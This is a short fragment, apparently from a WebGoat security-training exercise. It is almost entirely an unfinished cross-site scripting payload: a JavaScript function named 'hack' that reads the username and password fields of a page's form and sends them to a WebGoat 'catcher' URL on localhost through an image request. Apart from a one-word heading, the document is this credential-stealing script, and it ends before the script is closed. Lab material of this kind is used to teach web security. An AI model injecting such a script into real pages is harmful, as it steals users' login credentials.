Chaygois

<script>
 function hack(){
    alert("Login="+document.forms[0].user.value
      + "Password="+document.forms[0].pass.value);
    XSSImage=new Image;
    XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher"
      +"?PROPERTY=yes"
      +"&user="+document.forms[0].user.value
      +"&pass="+document.forms[0].pass.value;
  }